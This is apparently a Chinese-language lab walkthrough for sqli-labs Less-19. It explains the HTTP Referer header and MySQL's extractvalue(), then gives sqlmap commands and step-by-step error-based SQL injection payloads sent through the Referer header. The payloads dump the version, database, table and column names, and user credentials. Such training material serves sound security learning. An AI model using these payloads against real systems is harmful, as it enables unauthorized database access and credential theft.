知识点
referer:
http请求头里,有一个referer首部,这个首部可以告知服务端,当前的请求的来源。
就是很直观的说,访问了一个页面,你来自哪里
extractvalue()函数
extractvalue() 函数是对XML文档进行查询的函数
其实就是相当于HTML文件中用
标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
update是更新
extractvalue是查询
第十九关
sqlmap方法:
这里我们还是使用SQLMAP进行注入,将登录请求信息保存到1.txt文件中,使用SQLMAP进行注入:
Python2 sqlmap.py -r 1.txt --dbs --threads 10 --batch --technique
BEST
也可以使用:
python2 sqlmap.py -u "http://127.0.0.1/sqlilabs/Less-19/" --referer="http://127.0.0.1/sqlilabs/Less-19/*" --level 4 --dbs --threads 10 --technique BEST –batch
源码分析:
和十八关差不多,只不过他将uagent变量变成了referer
然后过滤也是和十八关一样的
查看闭合字符也和十八关一样
查看浏览器返回的信息是referer中的信息
一、判断注入点
(语句和方法和第十八关一样)但是在referer中进行的
不过我们这次来换个函数来做
' and extractvalue(1,concat(0x7e,(1),0x7e)))#
二、构造payload
1.爆版本信息
' and extractvalue(1,concat(0x7e,(version()),0x7e)))#
2.爆库
' and extractvalue(1,concat(0x7e,(database()),0x7e)))#
3.爆表
' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)))#
4.爆字段
' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x7e)))#
5.爆数据
' and extractvalue(1,concat(0x7e,(select username from users limit 2,1),0x7e)))#
' and extractvalue(1,concat(0x7e,(select password from users limit 2,1),0x7e)))#